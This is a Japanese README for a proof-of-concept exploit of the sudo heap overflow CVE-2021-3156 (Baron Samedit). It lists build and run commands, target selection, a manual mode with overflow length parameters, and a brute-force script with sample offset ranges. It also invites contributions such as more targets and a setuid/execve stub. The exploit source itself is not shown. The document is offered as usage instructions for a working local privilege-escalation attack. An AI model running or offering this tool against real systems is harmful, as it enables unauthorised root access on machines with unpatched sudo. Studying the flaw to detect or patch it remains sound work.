CVE-2021-3156 PoC

はじめに

これは、sudo の脆弱性 CVE-2021-3156（Qualys によって Baron Samedit と名付けられた）のエクスプロイトです。

使用方法

ビルド:

$ make

ターゲット一覧:

$ ./sudo-hax-me-a-sandwich

実行:

$ ./sudo-hax-me-a-sandwich <target_number>

手動モード:

$ ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>

ブルートフォースターゲット検出（実験的）

GNU parallel がインストールされていることを確認してください。

$ make brute
$ ./brute.sh <smash_start> <smash_end> <null_start> <null_end> <lc_start> <lc_end>

試すためのサンプル範囲:

$ ./brute.sh 90 120 50 70 150 300

利用可能なすべてのコアを消費します。Netflix を見ながらのブルートフォースはやめてください。

コントリビューション

リポジトリに貢献してください。 良識のある PR を送ってください。マージできます。 スターを付けてください。

いくつかのアイデア:

• より多くのターゲット
• ターゲットの位置特定
• 他のエクスプロイト戦略
• より独立した機能:
  • 共有ライブラリ hax.c を組み込む（ELF golf + asm setuid / execve stub を小さくしてください）
  • mkdir ロジックを hax.c に追加する
• ディレクトリ / 共有ライブラリのクリーンアップ